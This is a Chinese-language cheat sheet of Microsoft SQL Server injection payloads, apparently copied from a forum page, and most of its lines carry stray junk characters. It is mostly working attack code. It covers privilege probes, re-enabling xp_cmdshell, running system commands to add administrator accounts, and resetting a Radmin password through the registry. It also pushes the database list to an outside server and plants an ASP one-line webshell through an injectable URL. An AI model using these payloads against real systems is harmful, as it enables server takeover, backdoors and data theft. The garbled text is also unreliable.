//看看是什么权限的
5 p' O5 j$ i8 j0 k7 M- cand 1=(Select IS_MEMBER('db_owner'))3 Q" ^; R" N: f( c8 f
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
$ J1 a5 f5 Y- }8 C5 h9 L% ^8 c; R
//检测是否有读取某数据库的权限; u3 a* `9 _$ ^6 b9 G# Y7 @, q
and 1= (Select HAS_DBACCESS('master'))9 n# F& v7 W' L, I. s5 q3 S8 t( T
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --) n# M8 l/ L/ @. W) T8 V+ g7 o
7 K5 s' `1 s5 Q' Z
, M% ~8 P2 {. J( ?3 k* K数字类型" h1 U7 t4 h- T3 Y$ s
and char(124)%2Buser%2Bchar(124)=01 }# f: M2 {1 Q5 L, F( } k K( x
* A2 H* d. s* z# s9 C% N2 A
字符类型 _2 R0 L: n$ _1 c
' and char(124)%2Buser%2Bchar(124)=0 and ''='- f; x7 C, K, k) |5 O5 w
3 |; f, w' z* S" F搜索类型% G( j& l! F* \* f# g. n
' and char(124)%2Buser%2Bchar(124)=0 and '%'='# D- U$ Q q5 r# ?' V2 |0 q
2 H- o( D# p. `) l) P
爆用户名
6 k( h& u, p+ z# Q* Uand user>0 w0 N1 B8 Z9 a% |) t
' and user>0 and ''='
9 t+ a2 N4 f! U2 [1 {7 [# d& e- E2 S
检测是否为SA权限
6 L Z x6 U3 L: J3 mand 1=(select IS_SRVROLEMEMBER('sysadmin'));--, G H2 }2 g4 H; U
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --; a+ P# y3 N+ ~0 K4 f. s# Q8 U3 J
, `0 }8 V+ K: e5 ]0 p
检测是不是MSSQL数据库
6 y( Q& r; O+ F/ land exists (select * from sysobjects);--, l0 b9 P& ?5 q* ^9 W, u+ {2 E
: B7 M; s# h! l4 l/ i( W
检测是否支持多行
& }; t, P5 G: w' X) m. o;declare @d int;--; z* V2 ^2 |' I) f& @% h+ ]+ r" j
& k9 }# _# Q5 G: u
恢复 xp_cmdshell
) a1 [# ^- \- p$ l;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';-- K+ G0 O5 a) u3 k8 a
9 }/ ~4 d2 {( Q# k7 Z, B( U( p
* W4 N) |5 V6 [ e; P" vselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')/ R0 F0 ?! U9 M, {* d
9 ]( y/ m! }" u& W
//-----------------------
2 C2 p* l9 _# ?// 执行命令
) Q5 D$ T+ p5 q//-----------------------" c3 o @2 |' \& ]/ d5 Y2 P r
首先开启沙盘模式: x/ Y0 B C% _$ {: q! M
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',12 c9 f A: {! K3 p" S$ z
# n* p7 I$ _9 L7 k: v然后利用jet.oledb执行系统命令
, ?7 F" y9 X- \2 |$ ?9 Sselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
7 T2 G% f" P7 c# @* b: a- o h3 @1 k2 Q/ T7 k' T
执行命令
) N' {1 |3 V$ ^ V1 c3 K;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--# ^% A/ k2 W+ R( y! i
2 V$ W6 C3 K, {% ~9 S. cEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
1 h% O) N: R6 S* v( g' _& J8 r) B7 k
% ^, ?" m$ Q3 n' X4 l% {4 f判断xp_cmdshell扩展存储过程是否存在:
$ {/ X- [2 D, ~ Qhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') _' `: q" Y! |
8 u& w$ |4 a. j# J写注册表
0 N- v; L0 B% m1 U2 j# Q, {exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
6 o S2 [2 U8 m- O6 E) S; ~. p0 ^* ?; M% {# C3 O' c0 C
REG_SZ% \6 j1 b' j4 {! Z/ K5 G
" Y( ?, C- E3 _读注册表4 @7 F0 o: n: Q! j, R
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'* E2 l: s3 u* V4 w7 ?8 J0 Q
3 _& j8 q+ N2 L# ]& [2 I) p3 a
读取目录内容
8 G2 ^ w: h! Y/ \' e; qexec master..xp_dirtree 'c:\winnt\system32\',1,1
/ ^# r, i, u4 U" o' n: h2 j8 @7 L9 ~% F: @
2 t$ Q3 F' P0 g& b$ E
数据库备份# \3 Z9 q' w1 R( d7 Y Z; d
backup database pubs to disk = 'c:\123.bak'+ j3 a0 k' L- t/ R
, {0 Z* y% L. e- C2 d% G+ }. N//爆出长度
* @: A. i% c0 O6 J* X5 yAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--$ E! S: f) G4 h; b
' E* u, X) L X3 Y$ l
1 M% T6 ], A8 G
5 B# M$ d( B% y- I( I更改sa口令方法:用sql综合利用工具连接后,执行命令:; w5 @+ _ X3 Z8 }- J# J9 w- I
exec sp_password NULL,'新密码','sa'! @: U: B i+ h* I/ x: m, c+ g
0 L% x& V* ^ D) h3 s' v# L
添加和删除一个SA权限的用户test:: k+ |$ ?: F! I4 T1 ^
exec master.dbo.sp_addlogin test,9530772+ Z# {6 H0 {/ N' a
exec master.dbo.sp_addsrvrolemember test,sysadmin: y+ O1 D* j. n; h
/ K8 F3 P, y+ g% m* r7 |
删除扩展存储过过程xp_cmdshell的语句:- A; n1 ^( ?" f/ i3 g8 I% e
exec sp_dropextendedproc 'xp_cmdshell'$ h# } e1 q* o, E2 H8 \* o
) w5 @0 l2 w+ _$ @/ F
添加扩展存储过过程
( S2 _$ E1 b$ g0 B9 @& }EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
. Y2 E0 m3 m$ c1 cGRANT exec On xp_proxiedadata TO public, v1 V9 d0 f4 \0 X: a+ B1 Y" Z
; j5 T6 E7 Q5 `7 s& N, X1 ~# W
) |% I; H+ t: A; b$ [
停掉或激活某个服务。
( o% S, @6 ?# v, o, s& m Y& Z# n0 q! y2 ?" l' m F/ J: y1 z
exec master..xp_servicecontrol 'stop','schedule'
: G' |" ^1 ~# [exec master..xp_servicecontrol 'start','schedule'
$ R( E+ M& t/ n; S8 Q% U8 h9 ?
: d/ m1 E6 a$ ~5 j5 C4 c: R; F2 Ndbo.xp_subdirs& f9 V; ~" m# p7 x m g: M: Y5 r2 q5 X# K! V
: T, ?' I/ x) J" y2 S
只列某个目录下的子目录。0 z: S! |; A: G$ [) {
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
$ s0 r/ ~% I5 A$ E# [
& R6 d/ j5 w# \# n7 h3 p# h Ldbo.xp_makecab
, h' X0 ]: _" H; h/ I; N5 h0 m% {/ @0 _7 W6 ^ c
将目标多个档案压缩到某个目标档案之内。* U$ Q: ]! ^7 V# ^: D
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。3 e- B0 G) y/ W, @3 p* l/ L
a3 ]/ B# C. v9 S" p
dbo.xp_makecab
/ j% v# H/ ]' T'c:\test.cab','mszip',1,
0 P6 |6 v& s2 E6 f'C:\Inetpub\wwwroot\SQLInject\login.asp',
( K' E; y: \* Q. q% Q2 ['C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
" I- S% d8 _. U* h1 L; F
1 a3 E% [! D7 J4 o: e/ t7 h( S* bxp_terminate_process( h' ?- x, ?3 o' r' ~% {
2 q6 r( \& \ L7 R9 ?停掉某个执行中的程序,但赋予的参数是 Process ID。
9 |) R, V9 k* ?% m8 }利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
" |) M) h6 M/ g/ e4 \' U
7 \* P+ j$ x% Dxp_terminate_process 24840 d) b+ w$ H3 k3 O- \# K* S [' `
/ C) p& z5 w. z$ j$ u9 c, c* r% Zxp_unpackcab" p4 H- N+ _# n1 Y, s; b* g& Z7 W
' q! D# y5 n* B
解开压缩档。
/ K. l* a. U' o1 m; C$ S
7 v* F. Q/ k* w9 cxp_unpackcab 'c:\test.cab','c:\temp',1' `8 ?- s) t( E6 o
# } |1 L& T$ U
6 k5 ?( V3 \; c
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234" r! G$ B1 q9 d+ z0 X( ?& f: Z4 v
7 g# @5 H7 E* i$ x5 z2 s
create database lcx;0 d" P0 t4 ~2 Y F
Create TABLE ku(name nvarchar(256) null);1 r0 t* c+ \7 w3 k+ \4 u
Create TABLE biao(id int NULL,name nvarchar(256) null);6 q* y3 e" L: R' ~ I$ B
! F- d5 k6 q5 v# u6 a//得到数据库名# L" v, ~( _; m' k
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
5 {* I l! Y* g
/ F' [9 {* i! x! Z( F. w. m& C7 W( f& m, K9 Y' `3 d5 _) o
//在Master中创建表,看看权限怎样) x+ W! m' C c3 p2 z7 H
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
1 n( Q8 c4 j- b% R, m' C1 `- ~$ ]& G% z- k# r
用 sp_makewebtask直接在web目录里写入一句话马:
# Y) S- \: ` e* p. s) k* |http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
" F2 O: k( p7 Z# ]- ^
& v9 U! m, k) `! F/ |* W0 X" x//更新表内容# y# q: l6 | K( e
Update films SET kind = 'Dramatic' Where id = 123
) x) m6 H, A( c' E) n( p0 |& ^; h3 p0 @. |+ q
//删除内容% }) s" \. P4 {) f6 w
delete from table_name where Stockid = 3 |